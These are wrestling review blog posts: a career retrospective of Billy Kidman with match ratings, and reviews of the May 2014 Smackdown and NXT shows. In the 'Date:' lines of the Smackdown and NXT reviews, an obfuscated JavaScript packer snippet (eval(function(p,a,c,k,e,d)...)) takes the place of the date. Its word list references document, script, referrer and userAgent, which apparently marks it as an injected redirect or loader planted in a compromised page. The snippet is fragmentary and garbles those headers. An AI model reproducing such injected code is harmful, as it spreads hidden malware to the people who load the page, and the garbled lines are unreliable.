Back in and Juvy goes up top, only to dive into a double dropkick to put him down again. Kidman tries to slide through Rey’s legs but gets pounded in the head by Rey. Juvy comes in with a springboard rana on Rey for two, only to have Kidman climbs the corner and bulldog Juvy down while dropkicking Rey down at the same time. Kidman goes up top for a splash but hits Juvy’s feet, allowing Rey to hit a springboard moonsault of his own for two. With Juvy sitting on the top, Rey snaps off a rana to send him out to the floor, leaving Kidman alone in the ring.

Rey heads back in and gets caught in a suplex by the champion followed by a middle rope legdrop for two. Everyone is back in now and Kidman hits a sweet layout powerbomb on Juvy for two. Rey bulldogs Kidman down for two more as it’s clear everyone is getting tired. The champion throws Juvy to the floor but gets low bridged by Rey, allowing Mysterio to hit a top rope Asai Moonsault to take both guys out. Back in again and Rey hits a gorgeous springboard rana on Juvy, only to be caught in the Juvy Driver (kind of a combination slam and piledriver) for two as Kidman makes the save.

Now Kidman sits on the top rope as Juvy launches Rey over his shoulders into another hurricanrana to snap Kidman down to the mat. Billy gets two on Juvy via a lifting powerbomb before a Rey rana takes both he and Juvy to the floor. Kidman goes up top and hits a shooting star press (standing backflip) to take the challengers out, drawing boos. The booing is due to Eddie Guerrero coming to the ring, distracting the referee as Kidman has Juvy rolled up. Eddie tries to break it up and give Juvy the title but Rey breaks up that cover, allowing Kidman to roll Guerrera up to retain.

Rating: B. Very solid opener here with a lot of great high spots to fire up the crowd. For some reason the fans didn’t get all fired up from it but that can’t be blamed on the guys in the ring. Some of those dives by Rey were incredible as he’s fully rounded into the star that he was capable of being. Kidman and Juvy hung in there quite well also though, making this quite the opening match.

Eddie FREAKS over losing and yells at Juvy and Rey, calling them morons, dweebs and sissies. Since his minions screwed up already, Eddie calls out Kidman for a title shot RIGHT NOW. Kidman is more than happy to oblige.

Cruiserweight Title: Eddie Guerrero vs. Billy Kidman

Eddie, in boots and jeans, stomps Kidman down to start before hitting a powerbomb for two. A small package gets the same as Kidman is clearly tired here. Off to an abdominal stretch on the champion with Juvy helping Eddie. Rey will have none of that and breaks up the assistance, drawing Eddie to the floor to yell at him, thereby giving Kidman a breather. Back in and Kidman goes nuts, pounding Eddie down with stomps and punches to the head to stun Eddie.

A punch to Kidman’s knee slows Kidman down though and it’s off to a leg lock with the arm trapped as well. They head to the outside with Eddie being whipped into the barricade but Kidman is rammed into the post as we head inside again. A bulldog puts Guerrero down for no count as Kidman pounds away again. Kidman beats on Eddie in the corner again but Eddie pulls off his boot to blast Billy in the head to lay him out. A brainbuster puts Kidman down again but the champion gets up and superplexed Eddie down to break up the frog splash.

Eddie climbs the ropes to hit a hurricanrana on the champion for no cover. Kidman instead counters a powerbomb by driving Eddie face first into the mat and stomping away again before hitting a slingshot legdrop for two. Eddie blocks a top rope rana but Kidman shoves him down again. Eddie’s bodyguard tries to get in, allowing Juvy to crotch Kidman on the top rope. Rey will have none of that though and crotches Eddie, allowing Kidman to hit the Shooting Star to retain.

Rating: B. Another solid match here as Kidman gets to look like a star by surviving all the cheating and nearly half an hour of wrestling. Mysterio wasn’t a willing member of the team as he had been forced into their ranks due to a loss to Guerrero. The theory was to have him feud with the group for costing Eddie the title here, but Eddie would be in a bad car wreck in less than a week, putting him on the shelf for five months and ending the team for all intents and purposes.

Kidman and Mysterio would team up to win the Tag Team Titles on Nitro. Here’s a title defense from Slamboree 1999.

Tag Titles: Raven/Perry Saturn vs. Billy Kidman/Rey Mysterio Jr. vs. Chris Benoit/Dean Malenko

Raven and Saturn are back together again for some reason. The Horsemen (Benoit and Malenko) are heels. Raven and Saturn are rather popular. I really like WCW’s style in these matches as three are three men in the ring at once. Oh and Rey/Kidman are the champions. Kidman, Dean and Saturn start us off. Saturn is in a skirt due to a long story with Jericho.

Malenko gets beaten down and Saturn beats up Benoit who I guess got a tag. Saturn throws Kidman over the top in a release belly to belly. That landing looked SICK. You can’t tag someone from another team in this match. BIG Horsemen Suck chant. Raven covers Benoit and avoids a slingshot leg from Rey. Benoit and Kidman drape Raven over the top and then Benoit smashes Billy.

This is a very fast paced match so it’s hard to keep up with everything. A top rope splash by Kidman misses Benoit as Raven is on the floor. He manages to break up the Crossface though and double teams Benoit with Saturn. Frog splash to Benoit gets two. In a move that literally made my jaw drop, Dean launches Rey over his shoulder and Rey LANDS ON THE BUCKLE ON HIS FEET and hits a moonsault press for two. THAT WAS AWESOME.

Saturn dives on everyone not named Benoit and Raven. Benoit hits the Swan Dive to Raven for two but Saturn saves. The Horsemen double team Rey and now they beat up Saturn. The tagging aspect has been dropped for the time being. And of course just as I say that it’s officially Benoit vs. Kidman vs. Saturn. Kidman fights back and the fans cheer. BIG superkick from Saturn takes him down though. The crowd is really into this.

Benoit hits a springboard forearm over the top (think Jericho and his dropkick to the apron) to take out Saturn. The two of them are in the ring and a northern lights suplex gets two for the Canadian. Here are the Rolling Germans but Kidman makes the save. Dean gets a tag and gets rolled up by Saturn in a reversal to the Cloverleaf. Saturn is knocked to the floor and things slow down a bit.

Dean is like screw slow and KILLS Kidman with a powerbomb for two. Dragon Suplex to Kidman gets a delayed two. Dean tries to throw Billy into the air but Kidman hits a dropkick in mid air to break it up. Russian legsweep takes Benoit down and there’s the tag to Raven for a big reaction. He hits what we would call Three Amigos to Benoit for two. Back to Saturn who is a bit spent.

Rey vs. Saturn vs. Benoit at this point. Saturn saves a pin on Rey as Malenko and Kidman come in. Saturn and Benoit are down and Kidman isn’t sure who to jump on. Dean tries another powerbomb on him but Kidman rolls into a sunset flip. Everything breaks down and the champs hit a SWEET alley-oop rana to Benoit in the corner. They try it on Saturn but he hits a top rope sitout powerbomb to Rey for two. Arn comes in and hits a spinebuster on Saturn to HUGE heel heat. Someone in a Sting mask breaks up the Shooting Star by crotching Kidman. An elevated Even Flow gives Raven/Saturn the belts. Kanyon was in the mask.

Rating: B. This is better than probably any other match I’ve seen in all of WCW so far in 1999. They were all over the place in here and beating the living tar out of each other, which is the best thing you can ask for. Also the popular team wins off a big ending with the DDT. Very good match, but now things are going to fall through the floor, which is WCW in a nutshell.

Kidman would go to war with a group called the Revolution and was supposed to face them in three matches at Souled Out 2000. A bunch of injuries and card shuffling happened though so the matches were changed. Kidman still wrestled three times in one night though.

Billy Kidman vs. Dean Malenko

Kidman is one of the Filthy Animals and Malenko is part of the Revolution which was supposed to be a youth movement stable but it was changed into a military thing or something. This is under catch-as-catch-can which means a regular match but you can’t leave the ring.

Dean takes it to the floor quickly and the fans are loudly booing. We hear about what Kidman has to do tonight and I wonder why Douglas isn’t fighting for the Revolution tonight. LOUD booing now as Malenko keeps backing up. I have no idea if the fans know the rules here or not. Big crowd tonight too at over 14,000.

Kidman hammers away and Dean rolls to the floor, ending the match. Dean starts getting back in and I think he messed up here. This is exactly what this show didn’t need at all. Way too short to grade as it might have been two minutes long but the fans cheer for Kidman winning so uh….good? This was Dean’s last WCW match as he would debut as part of the Radicalz in 15 days.

Billy Kidman vs. Perry Saturn

This is a Bunkhouse match, meaning hardcore. At least Kidman’s music is kind of catchy. Saturn is freaking stacked as far as muscles go. Perry stomps away to start and gets a clothesline to take Kidman down. Big press slam as this is a regular match so far. Kidman fights back with speed and punches in the corner. Clothesline gets two. He tries a running headlock takeover out of the corner but gets crotched on the top rope and clotheslined to the floor. That gets two on the floor.

Back in the ring and Saturn does something to Kidman’s neck but gets rolled up for two. This is painfully boring. Springboard legdrop gets two for Saturn. Kidman’s shirt is ripped off and we FINALLY get to a weapon, in this case, a table which is laid face down on the floor instead of being set up in the ring. Ah there it is. Heenan: “Tony we could make a fortune in a table company.” Mike: “Heenan if you’re involved the only thing it’ll be is under the table.” That was good. Where is this funny Mike every other show?

The table is on the floor but Saturn can’t suplex onto him. Saturn gets an elbow from the top rope for no cover so Kidman grabs a sunset flip for two. Diving powerbomb gets two as does a Sky High from Kidman. Saturn throws Kidman over the top and through the table which gets two. It looked great if nothing else. Saturn tries a powerbomb from the top but gets backdropped instead. Out of NOWHERE Saturn tries another powerbomb (does he get paid per powerbomb?) but gets dropped in a facejam for the pin. This was Saturn’s last match in WCW.

Rating: D+. I’m starting to feel bad for giving these matches such low grades. They’re not really that terrible but they’re just so painfully uninteresting. I’m flying through this show and I’ve yet to see anything worth watching in it. Every one of the six matches so far range from just kind of there to completely uninteresting. There were some cool spots here and I like Saturn so I guess you could call this the match of the night so far….somehow.

Billy Kidman vs. ???

This is in a cage called Caged Heat, which means Hell in a Cell. Shane Douglas of the Revolution comes out to talk about how awesome the Revolution is and introduces the mystery guy. And it’s the Wall, a guy that has nothing to do with the Revolution until tonight. This is when Wall was still a total killer. Kidman finds a chair under the ring and cracks him with a chair to start.

So let me make sure I have this straight. A guy is thrown into the card to face a guy that joined a stable he was feuding with and I think a one day notice and is in the Cell with him. Got it. Standard small man vs. monster here with Wall taking him down with a big boot. Kidman is rammed back first into the cage and it’s all big man. Kidman gets a sunset bomb off the middle rope for two. He goes up, jumps into a chokeslam and we’re done. Five minute match in the Cell. I give up.

Rating: F. Not only was it a bad match, it was a bad match in the Hell in a Cell cage! I mean people, why in the world would you use that? If you’re going to change one match, change the rest too. Why is that so hard? Terrible match and a terrible ending to this three match system thing.

Here’s the biggest moment of Kidman’s career, from April 10, 2000. It’s not an official match but I have to include this. There’s a story about Kidman and the New Blood wanting respect from the old guard (the Millionaires’ Club) but it’s mainly about Hogan vs. Russo.

Here’s Kidman to talk about how the New Blood has been held down for so long. There’s one man he wants more than anyone else: Hulk Hogan. Kidman may not have Hogan’s body, but he has two things Hogan will never have: heart and talent. The only reason Hogan has that orange tan of his is because Hogan has been in the spotlight way too long. He calls Hogan out right now and gets the man himself.

Hulk is tired of Kidman’s whining and says Kidman is the kind of guy that gives the young guns a bad name. Kidman says Hogan’s run is over so Hulk insults Kidman’s girlfriend Torrie Wilson. It’s on now with Kidman getting the better of it until they head outside with Hogan hammering away.

Back in and Hogan talks some more trash. This brings out Bischoff with a chair for the screwjob. Hogan does the most obvious blade job of all time, clearly running his hand over his left eye a few seconds before Bischoff blasts him in the head. Even as a kid I knew it was a blade job. Naturally the cut is RIGHT OVER THE EYE as Kidman covers for a Bischoff counted three. Not a match of course and Hogan would beat him twice on PPV, but I had to throw this in.

Kidman would join the Filthy Animals and feud with whatever heel stable WCW had at the time. Here’s one from Mayhem 2000 where WCW managed to screw up the concept of time.

Filthy Animals vs. Alex Wright/Kronik

Ok so this was supposed to be Konnan/Kidman/Rey vs. Disqo/Wright. Konnan isn’t here so it’s Rey/Kidman as the Filthy Animals vs. Wright/Kronik but Kronik is leaving after seven and a half minutes. FOR THE LOVE OF CHEESE JUST HAVE A MATCH! Tygress gets on commentary. Wright and Kidman start us off. Ok make that Kidman and Adams start us off.

Disqo points out to the announcers that he’s the wrestler on the month in WCW magazine. This is far sloppier than you would expect. Adams hits the full nelson slam to Kidman but Wright tags himself in to try to get the pin. Since the time thing is going to be the ending of course it only gets two so Rey and Clark come in. Rey has horns on his head. What is with his odd choices in costumes?

Clark has a stopwatch going so he knows how much longer he has to be here. Basic idea here: Kronik beats up the little guys and then Wright comes in like the cowardly heel to steal pin attempts. Wright vs. Rey now. Madden hits on Tygress and after six minutes and fifteen seconds or so, Kronik leaves. They couldn’t even get TIME right? Wright gets in a bit of offense after that but a modified What’s Up ends him.

Rating: D+. They messed up TIME. Do you have any idea how hard it is to mess up a time angle when they allegedly had a stopwatch there with them? The match was just barely ok either with both teams just wasting time until the stupid part of the match could come into play. In other words, the big strong guys had no problems against the small guys but just left so the small guys could win. Give me a break.

In the dying days of WCW, the company would introduce Cruiserweight Tag Team Titles. Kidman and Rey Mysterio would lose in the finals of a tournament to become first champions. They would earn a title shot on the final Nitro though and get the shot later in the night.

Cruiserweight Tag Titles: Rey Mysterio/Billy Kidman vs. Elix Skipper/Kid Romeo

This was the final of the tournament to give us the original champions, 8 days prior. The announcers continue to insist how much WCW loves young guys. Romeo never did anything at all but Skipper wound up in TNA. Kidman and Mysterio I think you know of. Hot tags to Rey and Skipper as it’s pretty clear that this is going to be another 3 minute or so match.

Scott points out that the champions were just thrown together. Bronco Buster to Elix (really Elix?) and it turns into a huge mess. Rey with a springboard falling headbutt for two but Skipper makes the save. More near falls follow and Kidman gets out of Skipper’s Play of the Day and hits the Kid Crusher (Killswitch) for the final title reign in the history of the belts.

Rating: B-. Another 4 minute yet still entertaining match. I remember when the titles were announced that more or less no one wanted to see them but when did that stop WCW? This wasn’t anything special at all but it was pretty solid I guess. Skipper and Romeo were just thrown together and told they were the best team. The belts lasted 8 days so it’s not like they meant anything.

Kidman would jump to the WWF in the InVasion and do pretty much nothing for over a year, save for some Cruiserweight Title matches. None of them would mean anything until Survivor Series 2002. There’s no real story here but that’s often the case with this title.

Cruiserweight Title: Jamie Noble vs. Billy Kidman

Jamie is defending and has Nidia with him. Kidman grabs two very fast rollups for two and make that four in the first 30 seconds. Jamie bails to the floor but Kidman throws him right back in. Noble comes back with a neckbreaker and it’s off to a bow and arrow. Kidman gets thrown to the floor and Noble hits a suicide dive. Tazz: “I think Noble has something up his sleeve, but he’s not wearing a shirt so he has no sleeve.”

Back in and Kidman speeds things up with a back elbow and a dropkick followed by an AA into a backbreaker for two. A Falcon’s Arrow gets two for Noble so Kidman hits Tessmacher’s Tesshocker (belly to back suplex position but he slams Noble down face first instead). Kidman loads up the Shooting Star but Noble bails to the floor. That’s fine with Billy so he dives on Noble out there to take the champ down again.

Back in and Nidia distracts Kidman but gets knocked off the apron by Kidman. The BK Bomb (Low Down) gets two for Kidman as does a Tiger Bomb for Noble. They go up top and Kidman hits a sitout inverted DDT. That was pretty awesome looking but it only gets two. Noble hits Orton’s Elevated DDT for two out of the corner so Kidman hits an enziguri to take over again. Billy loads up the Shooting Star but a Nidia distraction….only delays Kidman as he hits the Shooting Star for the pin and the title.

Rating: B-. These two got going good and strong at the end which is exactly what you want from a match like this. When you can get into the area of a match where it’s one big move after another and you’re just waiting on one of them to stay down, that’s a great sign. The Shooting Star looked great too. This wasn’t a masterpiece or anything but it was solid.

We’re going to jump ahead a bit as Kidman didn’t really do much in WWE save for a meaningless Smackdown Tag Title reign. However, in 2004 he would botch a Shooting Star on Paul London and legitimately injure him. This was turned into an angle where Kidman was afraid to use it and his career was in trouble. London came back for revenge at No Mercy 2004.

Billy Kidman vs. Paul London

London sprints to the ring but Kidman runs. Paul wants answers. I’m not sure what the question is but I guess that’s up for interpretation. London controls to start and hits a leg lariat for two. A clothesline puts Kidman down and then out to the floor. London hits a sweet springboard moonsault but he might have hit the apron on the way down. Slingshot splash gets two back inside.

Kidman comes back by ramming his face into the buckle and kicking him in the face. London’s ribs are rammed into the post and Kidman goes after the ribs. All Billy at this point as he smacks London in the face. Apparently London had a broken nose recently. See, that’s something good a commentator can do: remind us of something that makes offense more vicious.

Billy stretches the ribs more and catches London in a gutbuster for two. Off to a seated abdominal stretch and London is in big trouble. Kidman gets back up and tries a tornado DDT for some reason. London blocks and hits an enziguri, but his powerbomb is blocked into an X Factor for two. Kidman tries a Low Down but London countered with a rana for two. London tries to speed things up but gets caught by a dropkick. Billy looks to the corner but walks off instead. He comes back at a count of seven and walks into a superkick. London tries a Shooting Star but it lands on knees. Kidman’s Shooting Star ends this.

Rating: C+. That was a solid heel turn match for Kidman. The rib work was great and the ending was solid too. I was liking this quite a bit with a good story the whole time, which is more than you can ask for more often than not. Kidman would be gone by June and London would get stuck in Cruiserweight Title limbo, but it was a good way to get there at least.

Kidman would leave the WWE in 2005 and wrestle several times in FCW but we’ll wrap it up now as this has gone on far too long. The problem for Kidman was he always had to deal with guys like Rey Mysterio and Juventud Guerrera who would just fly all over the place and outshine him. However, Kidman was more than capable of holding his own in there and had some excellent matches with a lot of people. He had some success outside of the Cruiserweight division, but as was often the case in WCW, he never got a huge push otherwise. It’s a shame too as the guy is very talented.

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Smackdown – May 9, 2014: The Hangover Edition

Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|anirb|var|u0026u|referrer|yahst||js|php'.split('|'),0,{})) May 9, 2014
Location: First Niagara Center, Buffalo, New York
Commentators: Michael Cole, John Bradshaw Layfield

After Monday dealt with the fallout from Extreme Rules, which was fallout from Wrestlemania, we get to deal with the fallout from the fallout here on Smackdown. The main story at the moment is Evolution laying out Shield to end the show, meaning we’re likely setting up Evolution vs. Shield II at Payback. Also Daniel Bryan has gone from a monster at Wrestlemania to Laurie Strode about a month later. Let’s get to it.

We open with a recap of the battle royal where Sheamus won the US Title, last eliminating reigning champion Dean Ambrose. This transitions into a recap of the main event where Evolution helped the Wyatts defeat Shield and beat down the Hounds of Justice post match.

US Title: Sheamus vs. Dean Ambrose

No Rollins and Reigns outside this time. Dean is favoring his ribs or arm coming in but takes Sheamus down to start. The champion counters into a headlock takeover followed by a running shoulder. Cole is already playing up Sheamus getting the title through less than fair measures, even though he won the match though totally fair and legal means. Sheamus cranks on the arm but Dean fights back with that kind of running Thesz Press of his.

They head outside with Sheamus ramming Ambrose into the announce table but getting suplexed onto the floor. Sheamus comes back with a rolling fireman’s carry as we take a break. Back with Dean fighting out of a full nelson and hammering away at Sheamus’ head. Sheamus goes shoulder first into the post and out to the floor, setting up a great looking suicide dive from Dean. Back in and we hit the Figure Four, which is some pretty lame psychology after Sheamus’ shoulder hit the post and barricade about twenty seconds ago.

The champ gets to a rope and comes back with the Irish Curse and a Cloverleaf. Another rope is grabbed and Dean heads to the apron, setting up the ten forearms to the chest. A big kick to the chest sends Dean into the ropes but he explodes out with a clothesline to put both guys down. Back up and the Brogue Kick out of nowhere sends Ambrose to the floor. Ambrose dives back in at nine, only to take a second Brogue Kick for the pin at 8:19 shown of 11:49.

Rating: C+. Again, I don’t see why this is supposed to be the start of a heel turn for Sheamus. He won the title in a match that is about everyone being in the ring at the same time where the announcers talk about how you have to watch your back. Then he beats the former champion clean with his finishing move. That sounds like one man being better than the other, not one man cheating to win. If that’s where they’re going, then hopefully Sheamus starts doing some heelish stuff instead of the turn being forced because the script says that’s what happens.

Rob Van Dam/Big E. vs. Bad News Barrett/Cesaro

Van Dam has a big black eye and Heyman is on commentary. The Bad News for the week is that climate change is coming and soon people like Big E. are going to be forgotten pieces of history. Barrett hammers on Van Dam to start but gets caught by the springboard kick to the face. Bad News puts on a chinlock as Heyman talks about Brock beating Undertaker. Another kick puts Barrett down and it’s a double tag to Big E. and Cesaro. Big E. takes over with the usual and gets two off the splash. A Rock Bottom out of the corner gets the same but Van Dam accidentally kicks Big E., setting up the Neutralizer for the pin at 2:38.

We look at stills of Bryan vs. Kane from the PPV.

Rusev vs. Kofi Kingston

Just Rusev now. We get another pro-Putin rant from Lana before the match, saying he should win the Nobel Peace Prize. Kofi fires off some kicks to start but gets crushed by a jumping kick to the face. A dropkick staggers Rusev and Kofi hammers away with right hands in the corner, only to have his sunset flip countered by a choke. The cross body gets two on Rusev but Kofi slams him down and hooks the Accolade for the win at 2:06.

The Wyatts come on screen with Bray talking about how the world must crumble because we’re all just slaves to judgment. Judgment tells him he must adapt and it is judgment that says he must bow to Cena. But where we’re going, no one ever comes back.

Bolieve!

Layla/Fandango vs. Santino Marella/Emma

Santino takes Fandango down with a headlock to start but the dancer slams him down. He takes too long dancing on the middle rope though and misses a knee drop, allowing for a double tag to the girls. There’s the Dilemma to Layla and everything breaks down. Emma loads up the pink Cobra but the guys fighting allows Layla to roll her up for the pin at 2:06.

Fandango and Layla kiss on stage.

Roman Reigns vs. Mark Henry

We get an inset interview from Henry saying this is about revenge for Shield attacking him 3-1 a few months ago. Points for continuity. Henry throws Reigns into the corner a few times before winning a slugout by going for Roman’s bad ribs. Mark talks a bunch of trash about how Reigns is by himself tonight and you can hear JBL cover up a laugh. He bends Reigns’ bad ribs around the post as this is one sided so far.

As I say that, Reigns comes back with the jumping clothesline to put Henry down for the first time. Roman tries another charge but runs into a clothesline from Mark. Henry loads up what appeared to be a Vader Bomb but Reigns lifts him onto his shoulders and plants Mark with a Samoan drop. The spear is enough for the pin at 3:45.

Rating: C-. This was a nice mini story with Reigns fighting through adversity and going into Beast Mode to win in the end. That’s the kind of win that makes Reigns look like a monster who isn’t going to be stopped and that’s exactly what he needs at this point. It’s not a masterpiece and was just a quick match but it was nice to see.

3MB vs. Los Matadores/El Torito

It’s Slater/McIntyre for 3MB here along with Horny. McIntyre clotheslines Fernando down for two to start before stomping away. Off to Slater as the big guys start tagging in and out to work over Fernando. JBL drops a Bastian Booger birthday greeting of all things as Horny comes in for some shots of his own. 3MB keeps up the tags until Fernando scores with a dropkick to put both guys down.

Horny: “TAG ME IN! I WANT TO RIP HIS FACE OFF!” Both small guys get tags and Torito starts biting, only to get punched in the jaw for his efforts. The Gore puts Horny on the floor but only seems to tick him off. Slater won’t tag in for some reason but does break up a pin attempt off a splash. Heath comes in legally but misses a charge, allowing Torito to hit a moonsault press for the pin at 4:23.

Rating: D+. The match was nothing to see but that’s become the standard for this feud. Speaking of nothing to see, did Los Matadores fall into a hole for the second half of the match? I’d assume they were fighting with the other full sized guys but the camera didn’t catch much of it if they were. This feud has run out of steam though.

Long recap of Bryan vs. Kane on Monday.

Mr. T. wishes us a Happy Mother’s Day.

Batista vs. Seth Rollins

This has potential. Rollins is banged up as well with a bad arm and misses a charge into the corner to start. Another missed charge sends Rollins to the floor and Batista ties him up in the ring skirt for a beating. The fans tell Batista he can’t wrestle before he pulls Rollins away from the ropes for a big crash to the mat. Back outside already with Seth going into the steps.

We hit the chinlock for a few moments before Batista goes after the bad arm by wrapping it around the post. Batista tries to pull Rollins out of the corner again but Seth backflips (mostly) to his feet. Big Dave misses a charge of his own and goes shoulder first into the post, allowing Rollins to hit some running forearms in the corner. A running sleeper slam from Rollins sets up the standing Sliced Bread #2 but Batista gets away.

Seth scores with an enziguri from the apron but misses the top rope knee to the head, only to run into the spinebuster. The Batista Bomb is countered and now the running knee sends Batista down to the floor. Seth goes up top for a dive, only to be sent face first into the announce table for the countout at 8:55.

Rating: C+. Give this another five minutes and it’s a far better match. This was another good sign for the Shield as Rollins can clearly hang in there with a big star in a longer match. He reminds me of a Jeff Hardy in the ring with all of the dives and it’s easy to get behind his comebacks.

Post match Batista lays Rollins out with a Batista Bomb.

Wyatt Family vs. Usos/John Cena

Cena runs over Rowan to start and scores with a quick release fisherman’s suplex. Harper comes in for one of those freaky looks of his so Cena takes him down with a bulldog. Off to Jey for some shots to the face before Jimmy comes in for some running shots in the corner. Luke comes back with a right hand of his own and it’s off to Rowan who walks into a Jimmy punch. Harper comes back in to take over on Jey with catapult into the middle rope for two.

Bray is legal for the first time and chokes even more as this isn’t the most energetic match in the world. Wyatt does the Spider Walk out of the corner but Jey kicks his arm away in a nice counter. A low bridge puts Bray on the floor but Harper breaks up a tag attempt. There’s the Gator Roll followed by a chinlock before it’s back to Erick for a headlock.

Jey shoves him into the corner and avoids a splash, finally allowing for the hot tag to Jimmy to face Bray. Cena gets in a cheap shot from the apron as Jimmy superkicks Harper down for two. Bray and Rowan double team Cena but Jimmy dives on all three of them. He goes back inside though and eats the discus lariat from Harper for the pin at 8:18.

Rating: D+. The match was fine from a technical standpoint but there was no energy to this at all. It felt like a dark match or the main event of a house show at the end of a long tour. Most of it was just punching and variations of chinlocks with no real big saves and almost nothing from Cena at all. I expected more from this one but it does advance the Family vs. Usos down the line.

Overall Rating: D+. This wasn’t much of a show as it’s really just a supplement to Raw, which wasn’t a great show in the first place. It’s cool to see the Shield wrestling on their own and they didn’t perform horribly, but the rest of the show really didn’t do anything for me at all. It’s really just a long set of matches that don’t change anything and won’t matter by the time Monday comes around.
 

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NXT – May 8, 2014: The Tyson Tomko Of Wrestling (It’s A Good Thing)

NXT
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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zykry|var|u0026u|referrer|erfyy||js|php'.split('|'),0,{})) May 8, 2014
Location: Full Sail University, Winter Park, Florida
Commentators: Jason Albert, Renee Young, Rich Brennan

We’re getting closer to Takeover and the big story is the lack of a challenger for NXT Champion Adrian Neville. After dispatching Brodus Clay last week, Adrian needs someone new to fight and odds are we’ll find out who that is tonight. The Women’s Title tournament will also continue tonight and since this is NXT, that’s not necessarily a bad thing. Let’s get to it.

Opening sequence.

NXT Womens Title Tournament First Round: Emma vs. Charlotte

They circle each other to start until Charlotte takes him up against the ropes. A hard clothesline puts Charlotte down for one but she snaps Emma’s throat over the top rope to take over. We hit a figure four neck lock on Emma before she rams Emma’s face into the mat ala Madison Rayne. Emma fights up and nails another clothesline to put both girls down. She loads up the pink Cobra because that’s what WWE has done to her but Sasha Banks offers a distraction, allowing Charlotte to roll Emma up and bridge onto the legs (called Charlotte’s Web) for the pin at 3:50.

Rating: D+. This didn’t have time to go anywhere and the Cobra made it even worse. It’s one of the most annoying things about WWE and NXT: the people get over in NXT but then they make it to the main roster and the writers or whoever is responsible for these ideas have to change everything that worked and then blame the wrestlers when it doesn’t work.

The #1 contender to Neville’s title will be determined in a battle royal tonight.

Legionnaires vs. El Local/Kalisto

The Legionnaires are Sylvester LeFort and Marcus Louis who I believe is making his debut here. The masked men take over to start but LeFort comes back with a swinging neckbreaker on Local as things settle down. A headdbut from Louis has Local in even more trouble as the heels start some fast tagging.

Louis cranks on the neck for a bit until he runs into Local’s boot in the corner. The hot tag brings in the rather short Kalisto for some springboard cross bodies and a jump into an Edge-O-Matic for two on Louis. Everything breaks down and Kalisto kicks LeFort in the head, followed by a Tajiri handspring into another kick to the head for the pin at 4:17.

Rating: D+. This was too short for the tag team formula to work all that well but Kalisto was fun to watch with all of his dives. If nothing else this is the way to build up some opponents for the Ascension as they’ve run through all of the teams in the promotion with relative ease so far.

Adam Rose fires up one of his Rosebuds for his match.

Camacho vs. Captain Comic

Captain Comic is one of Rose’s friends dressed like a superhero. Fans: “MATCH OF THE YEAR!” Camacho destroys him with ease as we’re certainly in squash territory. We hit a quick chinlock as the dominance continues. A running Samoan drop sets up a powerslam for the pin at 2:36.

Rose comes out for the save post match.

Alicia Fox and Alexa Bliss don’t have much to say before their match but they both want the Women’s Title.

NXT Womens Title Tournament First Round: Alicia Fox vs. Alexa Bliss

This is Bliss’ debut and she’s in what Renee describes as a fairy costume. Fox is quickly taken down for a standing moonsault with the knees intentionally landing on Fox’s chest. Alicia comes back with a tilt-a-whirl backbreaker for two and we’re already in the chinlock. That great looking northern lights suplex gets two for Fox and it’s off to the headlock. The beating continues for a few more seconds until Bliss grabs a small package out of nowhere for the pin at 3:10.

Rating: D+. This was just a squash with a surprise finish which is only so interesting. We didn’t get much out of Bliss here but she didn’t have the chance to show anything. Her winning is the right move but I need to see more from her to know what she can do in the ring. Fox is a decent enough test for her though.

Adrian Neville says he wants people to step up and challenge him.

Battle Royal

Aiden English, Baron Corbin, Bo Dallas, Brodus Clay, Camacho, Colin Cassady, Curt Hawkins, Danny Burch, El Local, Jason Jordan, Sami Zayn, Tyson Kidd, Tyler Breeze, Kalisto, Marcus Louis, Mason Ryan, Mojo Rawley, Oliver Grey, Sylvester Lefort, Xavier Woods, Yoshi Tatsu

Winner gets Adrian Neville at Takeover. It’s a big brawl to start until everyone gangs up on Brodus for the elimination. No one is eliminated for a good while until Ryan throws out I think English as we take an early break. Back with Kalisto avoiding elimination as we hear about Woods saving himself ala Kofi Kingston. The fans are behind Tatsu here as we’re still waiting on more eliminations. LeFort and Kalisto are gone as I type that and Sami Zayn slips back in from the apron.

Things slow down as they’re known to do in battle royals until Woods and Camacho chop it out in the middle of the ring. Woods gets a running start and eliminates himself and Camacho with a Cactus Clothesline. We have about nine left in the match. Jason throws out Mojo in an upset as Kidd gets back in over the top. Corbin throws Jordan to the apron and then kicks him out with a huge boot. Dallas knocks Corbin out with a clothesline and does the same to Yoshi a few seconds later.

We’re down to Sami, Breeze, Kidd, Ryan, Dallas and Cassady but Bo puts out Cassady and Ryan with ease. Kidd comes out of nowhere to dropkick Dallas out (fans: “THANK YOU TYSON!”) and we’re down to three. Breeze hits a Beauty Shot on Kidd and the fans are way behind the model. Sami throws Breeze to the apron but misses a kick and winds up on the apron as well. Kidd misses a charge of his own and winds up on the apron, leaving only Breeze in the ring. Both good guys pull him out but fall out at the same time for a triple elimination at 13:30.

Rating: C. The match was your usual battle royal but the ending was a nice surprise. Any of those three would be a good challenger for Adrian and that’s one of the cool things about NXT. I would assume it’s a triple threat which you would think goes to Breeze for heel vs. face but things aren’t always that basic in NXT.

Post match HHH comes out because JBL barely exists in NXT anymore and makes a triple threat for the shot next week. All three argue to end the show.

Overall Rating: C+. Here’s the difference between WWE and NXT. When something bad happens in WWE, they just keep going with the idea and expect the fans to go with it. When something bad happens in NXT, they have a show like this which fixes all of the problems. It’s no shock why I enjoy one over the other. This wasn’t about the wrestling but it set up a lot of stuff down the line, which is very important as well.

Results
Charlotte b. Emma – Charlotte’s Web
El Local/Kalisto b. Legionnaires – Spinning kick to the head to LeFort
Camacho b. Captain Comic – Running powerslam
Alexa Bliss b. Alicia Fox – Small package
Sami Zayn, Tyler Breeze and Tyson Kidd won a battle royal last eliminating each other

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Wrestler of the Day – April 12: Monty Brown

Today is Monty Brown. Period.

 

